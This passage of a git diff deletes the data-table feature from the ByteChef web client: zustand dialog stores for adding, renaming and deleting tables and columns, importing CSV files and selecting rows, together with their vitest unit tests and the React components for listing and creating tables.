-
-            expect(state.open).toBe(false);
-        });
-
-        it('should toggle open state correctly', () => {
-            const store = useImportDataTableCsvDialogStore.getState();
-
-            store.setOpen(true);
-
-            expect(useImportDataTableCsvDialogStore.getState().open).toBe(true);
-
-            store.setOpen(false);
-
-            expect(useImportDataTableCsvDialogStore.getState().open).toBe(false);
-
-            store.setOpen(true);
-
-            expect(useImportDataTableCsvDialogStore.getState().open).toBe(true);
-        });
-    });
-
-    describe('clearDialog', () => {
-        it('should set open to false', () => {
-            useImportDataTableCsvDialogStore.getState().setOpen(true);
-
-            expect(useImportDataTableCsvDialogStore.getState().open).toBe(true);
-
-            useImportDataTableCsvDialogStore.getState().clearDialog();
-
-            const state = useImportDataTableCsvDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-
-        it('should have no effect when already closed', () => {
-            const initialState = useImportDataTableCsvDialogStore.getState();
-
-            expect(initialState.open).toBe(false);
-
-            useImportDataTableCsvDialogStore.getState().clearDialog();
-
-            const state = useImportDataTableCsvDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/stores/tests/useRenameDataTableColumnDialogStore.test.ts b/client/src/pages/automation/datatable/stores/tests/useRenameDataTableColumnDialogStore.test.ts
deleted file mode 100644
index 01c1834561b..00000000000
--- a/client/src/pages/automation/datatable/stores/tests/useRenameDataTableColumnDialogStore.test.ts
+++ /dev/null
@@ -1,125 +0,0 @@
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useRenameDataTableColumnDialogStore} from '../useRenameDataTableColumnDialogStore';
-
-describe('useRenameDataTableColumnDialogStore', () => {
-    beforeEach(() => {
-        useRenameDataTableColumnDialogStore.getState().clearDialog();
-    });
-
-    describe('initial state', () => {
-        it('should have columnId as null initially', () => {
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.columnId).toBeNull();
-        });
-
-        it('should have currentName as empty string initially', () => {
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.currentName).toBe('');
-        });
-
-        it('should have renameValue as empty string initially', () => {
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.renameValue).toBe('');
-        });
-    });
-
-    describe('setColumnToRename', () => {
-        it('should set columnId to the provided value', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'originalName');
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.columnId).toBe('col-123');
-        });
-
-        it('should set currentName to the provided value', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'originalName');
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.currentName).toBe('originalName');
-        });
-
-        it('should set renameValue to the same as currentName', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'originalName');
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.renameValue).toBe('originalName');
-        });
-
-        it('should replace existing values when called again', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'firstName');
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-456', 'secondName');
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.columnId).toBe('col-456');
-            expect(state.currentName).toBe('secondName');
-            expect(state.renameValue).toBe('secondName');
-        });
-    });
-
-    describe('setRenameValue', () => {
-        it('should update renameValue to the provided value', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'originalName');
-            useRenameDataTableColumnDialogStore.getState().setRenameValue('newName');
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.renameValue).toBe('newName');
-        });
-
-        it('should not affect currentName when changing renameValue', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'originalName');
-            useRenameDataTableColumnDialogStore.getState().setRenameValue('newName');
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.currentName).toBe('originalName');
-        });
-
-        it('should allow setting empty string as renameValue', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'originalName');
-            useRenameDataTableColumnDialogStore.getState().setRenameValue('');
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.renameValue).toBe('');
-        });
-    });
-
-    describe('clearDialog', () => {
-        it('should reset columnId to null', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'originalName');
-            useRenameDataTableColumnDialogStore.getState().clearDialog();
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.columnId).toBeNull();
-        });
-
-        it('should reset currentName to empty string', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'originalName');
-            useRenameDataTableColumnDialogStore.getState().clearDialog();
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.currentName).toBe('');
-        });
-
-        it('should reset renameValue to empty string', () => {
-            useRenameDataTableColumnDialogStore.getState().setColumnToRename('col-123', 'originalName');
-            useRenameDataTableColumnDialogStore.getState().setRenameValue('newName');
-            useRenameDataTableColumnDialogStore.getState().clearDialog();
-
-            const state = useRenameDataTableColumnDialogStore.getState();
-
-            expect(state.renameValue).toBe('');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/stores/tests/useRenameDataTableDialogStore.test.ts b/client/src/pages/automation/datatable/stores/tests/useRenameDataTableDialogStore.test.ts
deleted file mode 100644
index ce384e886a2..00000000000
--- a/client/src/pages/automation/datatable/stores/tests/useRenameDataTableDialogStore.test.ts
+++ /dev/null
@@ -1,102 +0,0 @@
-import {act} from '@testing-library/react';
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useRenameDataTableDialogStore} from '../useRenameDataTableDialogStore';
-
-describe('useRenameDataTableDialogStore', () => {
-    beforeEach(() => {
-        act(() => {
-            useRenameDataTableDialogStore.getState().clearTableToRename();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has tableIdToRename as null', () => {
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.tableIdToRename).toBeNull();
-        });
-
-        it('has empty baseName', () => {
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.baseName).toBe('');
-        });
-
-        it('has empty renameValue', () => {
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.renameValue).toBe('');
-        });
-    });
-
-    describe('setTableToRename', () => {
-        it('sets tableIdToRename to the provided id', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.tableIdToRename).toBe('table-123');
-        });
-
-        it('sets baseName to the provided name', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.baseName).toBe('MyTable');
-        });
-
-        it('sets renameValue to the provided baseName', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.renameValue).toBe('MyTable');
-        });
-    });
-
-    describe('setRenameValue', () => {
-        it('updates renameValue', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            act(() => {
-                useRenameDataTableDialogStore.getState().setRenameValue('NewTableName');
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.renameValue).toBe('NewTableName');
-        });
-    });
-
-    describe('clearTableToRename', () => {
-        it('resets all state to initial values', () => {
-            act(() => {
-                useRenameDataTableDialogStore.getState().setTableToRename('table-123', 'MyTable');
-            });
-
-            act(() => {
-                useRenameDataTableDialogStore.getState().setRenameValue('ChangedName');
-            });
-
-            act(() => {
-                useRenameDataTableDialogStore.getState().clearTableToRename();
-            });
-
-            const state = useRenameDataTableDialogStore.getState();
-
-            expect(state.tableIdToRename).toBeNull();
-            expect(state.baseName).toBe('');
-            expect(state.renameValue).toBe('');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/stores/tests/useSelectedRowsStore.test.ts b/client/src/pages/automation/datatable/stores/tests/useSelectedRowsStore.test.ts
deleted file mode 100644
index d9197d5e66a..00000000000
--- a/client/src/pages/automation/datatable/stores/tests/useSelectedRowsStore.test.ts
+++ /dev/null
@@ -1,57 +0,0 @@
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useSelectedRowsStore} from '../useSelectedRowsStore';
-
-describe('useSelectedRowsStore', () => {
-    beforeEach(() => {
-        useSelectedRowsStore.getState().clearSelectedRows();
-    });
-
-    describe('initial state', () => {
-        it('should have selectedRows as empty set initially', () => {
-            const state = useSelectedRowsStore.getState();
-
-            expect(state.selectedRows.size).toBe(0);
-        });
-    });
-
-    describe('setSelectedRows', () => {
-        it('should set selectedRows to the provided set', () => {
-            const rows = new Set<string>(['1', '2', '3']);
-
-            useSelectedRowsStore.getState().setSelectedRows(rows);
-
-            const state = useSelectedRowsStore.getState();
-
-            expect(state.selectedRows.size).toBe(3);
-            expect(state.selectedRows.has('1')).toBe(true);
-            expect(state.selectedRows.has('2')).toBe(true);
-            expect(state.selectedRows.has('3')).toBe(true);
-        });
-
-        it('should replace existing selectedRows', () => {
-            useSelectedRowsStore.getState().setSelectedRows(new Set<string>(['1', '2']));
-            useSelectedRowsStore.getState().setSelectedRows(new Set<string>(['3', '4', '5']));
-
-            const state = useSelectedRowsStore.getState();
-
-            expect(state.selectedRows.size).toBe(3);
-            expect(state.selectedRows.has('1')).toBe(false);
-            expect(state.selectedRows.has('3')).toBe(true);
-        });
-    });
-
-    describe('clearSelectedRows', () => {
-        it('should clear all selected rows', () => {
-            useSelectedRowsStore.getState().setSelectedRows(new Set<string>(['1', '2', '3']));
-
-            expect(useSelectedRowsStore.getState().selectedRows.size).toBe(3);
-
-            useSelectedRowsStore.getState().clearSelectedRows();
-
-            const state = useSelectedRowsStore.getState();
-
-            expect(state.selectedRows.size).toBe(0);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/stores/useAddDataTableColumnDialogStore.ts b/client/src/pages/automation/datatable/stores/useAddDataTableColumnDialogStore.ts
deleted file mode 100644
index 4008f77c526..00000000000
--- a/client/src/pages/automation/datatable/stores/useAddDataTableColumnDialogStore.ts
+++ /dev/null
@@ -1,27 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface AddDataTableColumnDialogStateI {
-    clearDialog: () => void;
-    open: boolean;
-    setOpen: (open: boolean) => void;
-}
-
-export const useAddDataTableColumnDialogStore = create<AddDataTableColumnDialogStateI>()(
-    devtools(
-        (set) => ({
-            clearDialog: () => {
-                set(() => ({open: false}));
-            },
-
-            open: false,
-
-            setOpen: (open: boolean) => {
-                set(() => ({open}));
-            },
-        }),
-        {
-            name: 'bytechef.datatable-add-column-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatable/stores/useCurrentDataTableStore.ts b/client/src/pages/automation/datatable/stores/useCurrentDataTableStore.ts
deleted file mode 100644
index 76550345ea9..00000000000
--- a/client/src/pages/automation/datatable/stores/useCurrentDataTableStore.ts
+++ /dev/null
@@ -1,28 +0,0 @@
-import {DataTable} from '@/shared/middleware/graphql';
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface CurrentDataTableStateI {
-    clearDataTable: () => void;
-    dataTable: DataTable | undefined;
-    setDataTable: (dataTable: DataTable | undefined) => void;
-}
-
-export const useCurrentDataTableStore = create<CurrentDataTableStateI>()(
-    devtools(
-        (set) => ({
-            clearDataTable: () => {
-                set(() => ({dataTable: undefined}));
-            },
-
-            dataTable: undefined,
-
-            setDataTable: (dataTable: DataTable | undefined) => {
-                set(() => ({dataTable}));
-            },
-        }),
-        {
-            name: 'bytechef.datatable-current',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatable/stores/useDeleteDataTableAlertDialogStore.ts b/client/src/pages/automation/datatable/stores/useDeleteDataTableAlertDialogStore.ts
deleted file mode 100644
index f65f7996fcf..00000000000
--- a/client/src/pages/automation/datatable/stores/useDeleteDataTableAlertDialogStore.ts
+++ /dev/null
@@ -1,35 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface DeleteDataTableAlertDialogStateI {
-    clearTableToDelete: () => void;
-    setTableToDelete: (tableId: string, tableName: string) => void;
-    tableIdToDelete: string | null;
-    tableNameToDelete: string | null;
-}
-
-export const useDeleteDataTableAlertDialogStore = create<DeleteDataTableAlertDialogStateI>()(
-    devtools(
-        (set) => ({
-            clearTableToDelete: () => {
-                set(() => ({
-                    tableIdToDelete: null,
-                    tableNameToDelete: null,
-                }));
-            },
-
-            setTableToDelete: (tableId: string, tableName: string) => {
-                set(() => ({
-                    tableIdToDelete: tableId,
-                    tableNameToDelete: tableName,
-                }));
-            },
-
-            tableIdToDelete: null,
-            tableNameToDelete: null,
-        }),
-        {
-            name: 'bytechef.datatable-delete-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatable/stores/useDeleteDataTableColumnDialogStore.ts b/client/src/pages/automation/datatable/stores/useDeleteDataTableColumnDialogStore.ts
deleted file mode 100644
index f549782247b..00000000000
--- a/client/src/pages/automation/datatable/stores/useDeleteDataTableColumnDialogStore.ts
+++ /dev/null
@@ -1,30 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface DeleteDataTableColumnDialogStateI {
-    clearDialog: () => void;
-    columnId: string | null;
-    columnName: string | null;
-    setColumnToDelete: (columnId: string, columnName: string) => void;
-}
-
-export const useDeleteDataTableColumnDialogStore = create<DeleteDataTableColumnDialogStateI>()(
-    devtools(
-        (set) => ({
-            clearDialog: () => {
-                set(() => ({columnId: null, columnName: null}));
-            },
-
-            columnId: null,
-
-            columnName: null,
-
-            setColumnToDelete: (columnId: string, columnName: string) => {
-                set(() => ({columnId, columnName}));
-            },
-        }),
-        {
-            name: 'bytechef.datatable-delete-column-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatable/stores/useDeleteDataTableRowsDialogStore.ts b/client/src/pages/automation/datatable/stores/useDeleteDataTableRowsDialogStore.ts
deleted file mode 100644
index 6bd7cfed863..00000000000
--- a/client/src/pages/automation/datatable/stores/useDeleteDataTableRowsDialogStore.ts
+++ /dev/null
@@ -1,27 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface DeleteDataTableRowsDialogStateI {
-    clearDialog: () => void;
-    open: boolean;
-    setOpen: () => void;
-}
-
-export const useDeleteDataTableRowsDialogStore = create<DeleteDataTableRowsDialogStateI>()(
-    devtools(
-        (set) => ({
-            clearDialog: () => {
-                set(() => ({open: false}));
-            },
-
-            open: false,
-
-            setOpen: () => {
-                set(() => ({open: true}));
-            },
-        }),
-        {
-            name: 'bytechef.datatable-delete-rows-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatable/stores/useImportDataTableCsvDialogStore.ts b/client/src/pages/automation/datatable/stores/useImportDataTableCsvDialogStore.ts
deleted file mode 100644
index 3e3b5d922ac..00000000000
--- a/client/src/pages/automation/datatable/stores/useImportDataTableCsvDialogStore.ts
+++ /dev/null
@@ -1,27 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface ImportDataTableCsvDialogStateI {
-    clearDialog: () => void;
-    open: boolean;
-    setOpen: (open: boolean) => void;
-}
-
-export const useImportDataTableCsvDialogStore = create<ImportDataTableCsvDialogStateI>()(
-    devtools(
-        (set) => ({
-            clearDialog: () => {
-                set(() => ({open: false}));
-            },
-
-            open: false,
-
-            setOpen: (open: boolean) => {
-                set(() => ({open}));
-            },
-        }),
-        {
-            name: 'bytechef.datatable-import-csv-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatable/stores/useRenameDataTableColumnDialogStore.ts b/client/src/pages/automation/datatable/stores/useRenameDataTableColumnDialogStore.ts
deleted file mode 100644
index eac06e7220e..00000000000
--- a/client/src/pages/automation/datatable/stores/useRenameDataTableColumnDialogStore.ts
+++ /dev/null
@@ -1,46 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface RenameDataTableColumnDialogStateI {
-    clearDialog: () => void;
-    columnId: string | null;
-    currentName: string;
-    renameValue: string;
-    setColumnToRename: (columnId: string, currentName: string) => void;
-    setRenameValue: (value: string) => void;
-}
-
-export const useRenameDataTableColumnDialogStore = create<RenameDataTableColumnDialogStateI>()(
-    devtools(
-        (set) => ({
-            clearDialog: () => {
-                set(() => ({
-                    columnId: null,
-                    currentName: '',
-                    renameValue: '',
-                }));
-            },
-
-            columnId: null,
-
-            currentName: '',
-
-            renameValue: '',
-
-            setColumnToRename: (columnId: string, currentName: string) => {
-                set(() => ({
-                    columnId,
-                    currentName,
-                    renameValue: currentName,
-                }));
-            },
-
-            setRenameValue: (value: string) => {
-                set(() => ({renameValue: value}));
-            },
-        }),
-        {
-            name: 'bytechef.datatable-rename-column-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatable/stores/useRenameDataTableDialogStore.ts b/client/src/pages/automation/datatable/stores/useRenameDataTableDialogStore.ts
deleted file mode 100644
index 177e5b53f62..00000000000
--- a/client/src/pages/automation/datatable/stores/useRenameDataTableDialogStore.ts
+++ /dev/null
@@ -1,46 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface RenameDataTableDialogStateI {
-    baseName: string;
-    clearTableToRename: () => void;
-    renameValue: string;
-    setRenameValue: (value: string) => void;
-    setTableToRename: (tableId: string, baseName: string) => void;
-    tableIdToRename: string | null;
-}
-
-export const useRenameDataTableDialogStore = create<RenameDataTableDialogStateI>()(
-    devtools(
-        (set) => ({
-            baseName: '',
-
-            clearTableToRename: () => {
-                set(() => ({
-                    baseName: '',
-                    renameValue: '',
-                    tableIdToRename: null,
-                }));
-            },
-
-            renameValue: '',
-
-            setRenameValue: (value: string) => {
-                set(() => ({renameValue: value}));
-            },
-
-            setTableToRename: (tableId: string, baseName: string) => {
-                set(() => ({
-                    baseName,
-                    renameValue: baseName,
-                    tableIdToRename: tableId,
-                }));
-            },
-
-            tableIdToRename: null,
-        }),
-        {
-            name: 'bytechef.datatable-rename-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatable/stores/useSelectedRowsStore.ts b/client/src/pages/automation/datatable/stores/useSelectedRowsStore.ts
deleted file mode 100644
index 2f3c4cc3355..00000000000
--- a/client/src/pages/automation/datatable/stores/useSelectedRowsStore.ts
+++ /dev/null
@@ -1,27 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface SelectedRowsStateI {
-    clearSelectedRows: () => void;
-    selectedRows: ReadonlySet<string>;
-    setSelectedRows: (rows: ReadonlySet<string>) => void;
-}
-
-export const useSelectedRowsStore = create<SelectedRowsStateI>()(
-    devtools(
-        (set) => ({
-            clearSelectedRows: () => {
-                set(() => ({selectedRows: new Set<string>()}));
-            },
-
-            selectedRows: new Set<string>(),
-
-            setSelectedRows: (rows: ReadonlySet<string>) => {
-                set(() => ({selectedRows: rows}));
-            },
-        }),
-        {
-            name: 'bytechef.datatable-selected-rows',
-        }
-    )
-);
diff --git a/client/src/pages/automation/datatables/DataTables.tsx b/client/src/pages/automation/datatables/DataTables.tsx
deleted file mode 100644
index 125d125b2b8..00000000000
--- a/client/src/pages/automation/datatables/DataTables.tsx
+++ /dev/null
@@ -1,52 +0,0 @@
-import Button from '@/components/Button/Button';
-import EmptyList from '@/components/EmptyList';
-import PageLoader from '@/components/PageLoader';
-import CreateDataTableDialog from '@/pages/automation/datatables/components/CreateDataTableDialog';
-import DataTableList from '@/pages/automation/datatables/components/DataTableList';
-import DataTablesFilterTitle from '@/pages/automation/datatables/components/DataTablesFilterTitle';
-import DataTablesLeftSidebarNav from '@/pages/automation/datatables/components/DataTablesLeftSidebarNav';
-import useDataTables from '@/pages/automation/datatables/components/hooks/useDataTables';
-import Header from '@/shared/layout/Header';
-import LayoutContainer from '@/shared/layout/LayoutContainer';
-import {Table2Icon} from 'lucide-react';
-
-const DataTables = () => {
-    const {allTags, error, filteredTables, isLoading, tables, tagId, tagsByTableData} = useDataTables();
-
-    return (
-        <LayoutContainer
-            header={
-                tables.length > 0 && (
-                    <Header
-                        centerTitle={true}
-                        position="main"
-                        right={<CreateDataTableDialog trigger={<Button>New Table</Button>} />}
-                        title={<DataTablesFilterTitle allTags={allTags} tagsByTableData={tagsByTableData} />}
-                    />
-                )
-            }
-            leftSidebarBody={<DataTablesLeftSidebarNav />}
-            leftSidebarHeader={<Header position="sidebar" title="Data Tables" />}
-            leftSidebarWidth="64"
-        >
-            <PageLoader errors={[error]} loading={isLoading}>
-                {filteredTables.length > 0 ? (
-                    <DataTableList allTags={allTags} dataTables={filteredTables} tagsByTableData={tagsByTableData} />
-                ) : (
-                    <EmptyList
-                        button={<CreateDataTableDialog trigger={<Button>Create Table</Button>} />}
-                        icon={<Table2Icon className="size-24 text-gray-300" />}
-                        message={
-                            tagId
-                                ? 'No data tables match the selected tag.'
-                                : 'Get started by creating a new data table.'
-                        }
-                        title={tagId ? 'No Matching Tables' : 'No Data Tables'}
-                    />
-                )}
-            </PageLoader>
-        </LayoutContainer>
-    );
-};
-
-export default DataTables;
diff --git a/client/src/pages/automation/datatables/components/CreateDataTableDialog.tsx b/client/src/pages/automation/datatables/components/CreateDataTableDialog.tsx
deleted file mode 100644
index b57d2c23631..00000000000
--- a/client/src/pages/automation/datatables/components/CreateDataTableDialog.tsx
+++ /dev/null
@@ -1,165 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-    DialogTrigger,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
-import useCreateDataTableDialog from '@/pages/automation/datatables/components/hooks/useCreateDataTableDialog';
-import {ColumnType} from '@/shared/middleware/graphql';
-import {Plus, Trash2} from 'lucide-react';
-import {ReactNode} from 'react';
-
-const CreateDataTableDialog = ({trigger}: {trigger?: ReactNode}) => {
-    const {
-        baseName,
-        canSubmit,
-        columns,
-        description,
-        handleAddColumn,
-        handleBaseNameChange,
-        handleColumnNameChange,
-        handleColumnTypeChange,
-        handleCreate,
-        handleDescriptionChange,
-        handleOpen,
-        handleOpenChange,
-        handleRemoveColumn,
-        isPending,
-        open,
-    } = useCreateDataTableDialog();
-
-    const handleDialogOpenChange = (isOpen: boolean) => {
-        if (isOpen) {
-            handleOpen();
-        } else {
-            handleOpenChange(isOpen);
-        }
-    };
-
-    return (
-        <Dialog onOpenChange={handleDialogOpenChange} open={open}>
-            <DialogTrigger asChild>{trigger ?? <Button label="Create Table" />}</DialogTrigger>
-
-            <DialogContent>
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Create Data Table</DialogTitle>
-
-                        <DialogDescription>
-                            Provide a base name, an optional description, and at least one column.
-                        </DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-4">
-                    <div className="space-y-2">
-                        <Label htmlFor="baseName">Base name</Label>
-
-                        <Input
-                            id="baseName"
-                            onChange={(event) => handleBaseNameChange(event.target.value)}
-                            placeholder="e.g., orders"
-                            value={baseName}
-                        />
-                    </div>
-
-                    <div className="space-y-2">
-                        <Label htmlFor="description">Description (optional)</Label>
-
-                        <Input
-                            id="description"
-                            onChange={(event) => handleDescriptionChange(event.target.value)}
-                            placeholder="e.g., Stores all orders placed by customers"
-                            value={description}
-                        />
-                    </div>
-
-                    <div className="space-y-2">
-                        <div className="flex items-center justify-between">
-                            <Label>Columns</Label>
-
-                            <Button
-                                icon={<Plus />}
-                                label="Add column"
-                                onClick={handleAddColumn}
-                                size="sm"
-                                variant="secondary"
-                            />
-                        </div>
-
-                        <div className="space-y-3">
-                            {columns.map((column, index) => (
-                                <div className="grid grid-cols-12 items-center gap-2" key={index}>
-                                    <Input
-                                        className="col-span-7"
-                                        onChange={(event) => handleColumnNameChange(index, event.target.value)}
-                                        placeholder="Column name"
-                                        value={column.name}
-                                    />
-
-                                    <div className="col-span-4">
-                                        <Select
-                                            onValueChange={(value) =>
-                                                handleColumnTypeChange(index, value as ColumnType)
-                                            }
-                                            value={column.type}
-                                        >
-                                            <SelectTrigger>
-                                                <SelectValue placeholder="Type" />
-                                            </SelectTrigger>
-
-                                            <SelectContent>
-                                                <SelectItem value={ColumnType.String}>STRING</SelectItem>
-
-                                                <SelectItem value={ColumnType.Number}>NUMBER</SelectItem>
-
-                                                <SelectItem value={ColumnType.Integer}>INTEGER</SelectItem>
-
-                                                <SelectItem value={ColumnType.Date}>DATE</SelectItem>
-
-                                                <SelectItem value={ColumnType.DateTime}>DATE_TIME</SelectItem>
-
-                                                <SelectItem value={ColumnType.Boolean}>BOOLEAN</SelectItem>
-                                            </SelectContent>
-                                        </Select>
-                                    </div>
-
-                                    {columns.length > 1 && (
-                                        <div className="col-span-1 flex justify-end">
-                                            <Button
-                                                icon={<Trash2 />}
-                                                onClick={() => handleRemoveColumn(index)}
-                                                size="icon"
-                                                variant="ghost"
-                                            />
-                                        </div>
-                                    )}
-                                </div>
-                            ))}
-                        </div>
-                    </div>
-                </div>
-
-                <DialogFooter>
-                    <Button
-                        disabled={!canSubmit || isPending}
-                        label={isPending ? 'Creating...' : 'Create'}
-                        onClick={handleCreate}
-                    />
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default CreateDataTableDialog;
diff --git a/client/src/pages/automation/datatables/components/DataTableList.tsx b/client/src/pages/automation/datatables/components/DataTableList.tsx
deleted file mode 100644
index 9b67763d60c..00000000000
--- a/client/src/pages/automation/datatables/components/DataTableList.tsx
+++ /dev/null
@@ -1,40 +0,0 @@
-import DeleteDataTableAlertDialog from '@/pages/automation/datatable/components/DeleteDataTableAlertDialog';
-import DataTableListItem from '@/pages/automation/datatables/components/DataTableListItem';
-import DuplicateDataTableDialog from '@/pages/automation/datatables/components/DuplicateDataTableDialog';
-import RenameDataTableDialog from '@/pages/automation/datatables/components/RenameDataTableDialog';
-import useDataTableList from '@/pages/automation/datatables/components/hooks/useDataTableList';
-import {DataTable, DataTableTagsEntry, Tag} from '@/shared/middleware/graphql';
-
-interface DataTableListProps {
-    allTags: Tag[];
-    dataTables: DataTable[];
-    tagsByTableData: DataTableTagsEntry[];
-}
-
-const DataTableList = ({allTags, dataTables, tagsByTableData}: DataTableListProps) => {
-    const {sortedTables, tagsByTableMap} = useDataTableList({dataTables, tagsByTableData});
-
-    return (
-        <div className="w-full divide-y divide-border/50 px-4">
-            {sortedTables.map((table) => {
-                const currentTags = tagsByTableMap.get(table.id) || [];
-
-                const currentTagIds = new Set(currentTags.map((tag) => tag.id));
-
-                const remainingTags = allTags.filter((tag) => !currentTagIds.has(tag.id));
-
-                return (
-                    <DataTableListItem key={table.id} remainingTags={remainingTags} table={table} tags={currentTags} />
-                );
-            })}
-
-            <DeleteDataTableAlertDialog />
-
-            <DuplicateDataTableDialog />
-
-            <RenameDataTableDialog />
-        </div>
-    );
-};
-
-export default DataTableList;
diff --git a/client/src/pages/automation/datatables/components/DataTableListItem.tsx b/client/src/pages/automation/datatables/components/DataTableListItem.tsx
deleted file mode 100644
index 1f7db9b61cc..00000000000
--- a/client/src/pages/automation/datatables/components/DataTableListItem.tsx
+++ /dev/null
@@ -1,54 +0,0 @@
-import DataTableListItemDropdownMenu from '@/pages/automation/datatables/components/DataTableListItemDropdownMenu';
-import DataTableListItemTagList from '@/pages/automation/datatables/components/DataTableListItemTagList';
-import DataTableListItemTooltip from '@/pages/automation/datatables/components/DataTableListItemTooltip';
-import useDataTableListItem from '@/pages/automation/datatables/components/hooks/useDataTableListItem';
-import {DataTable, Tag} from '@/shared/middleware/graphql';
-
-interface DataTableListItemProps {
-    table: DataTable;
-    tags: Tag[];
-    remainingTags?: Tag[];
-}
-
-const DataTableListItem = ({remainingTags, table, tags}: DataTableListItemProps) => {
-    const {columnCountLabel, handleDataTableListItemTagListClick, handleRowClick} = useDataTableListItem({table});
-
-    return (
-        <div
-            className="group flex w-full cursor-pointer items-center justify-between rounded-md px-2 hover:bg-destructive-foreground"
-            onClick={handleRowClick}
-        >
-            <div className="flex flex-1 items-center py-5">
-                <div className="flex-1">
-                    <div className="flex items-center gap-2">
-                        <span className="text-base font-semibold">{table.baseName}</span>
-                    </div>
-
-                    <div className="relative mt-2 sm:flex sm:items-center sm:justify-between">
-                        <div className="flex items-center gap-3">
-                            <div className="text-xs font-semibold text-muted-foreground">{columnCountLabel}</div>
-
-                            <div onClick={handleDataTableListItemTagListClick}>
-                                <DataTableListItemTagList
-                                    datatableId={table.id}
-                                    remainingTags={remainingTags}
-                                    tags={tags}
-                                />
-                            </div>
-                        </div>
-                    </div>
-                </div>
-
-                <div className="flex items-center justify-end gap-x-6">
-                    <DataTableListItemTooltip lastModifiedDate={table.lastModifiedDate} />
-
-                    <div onClick={handleDataTableListItemTagListClick}>
-                        <DataTableListItemDropdownMenu baseName={table.baseName} dataTableId={table.id} />
-                    </div>
-                </div>
-            </div>
-        </div>
-    );
-};
-
-export default DataTableListItem;
diff --git a/client/src/pages/automation/datatables/components/DataTableListItemDropdownMenu.tsx b/client/src/pages/automation/datatables/components/DataTableListItemDropdownMenu.tsx
deleted file mode 100644
index f890867d398..00000000000
--- a/client/src/pages/automation/datatables/components/DataTableListItemDropdownMenu.tsx
+++ /dev/null
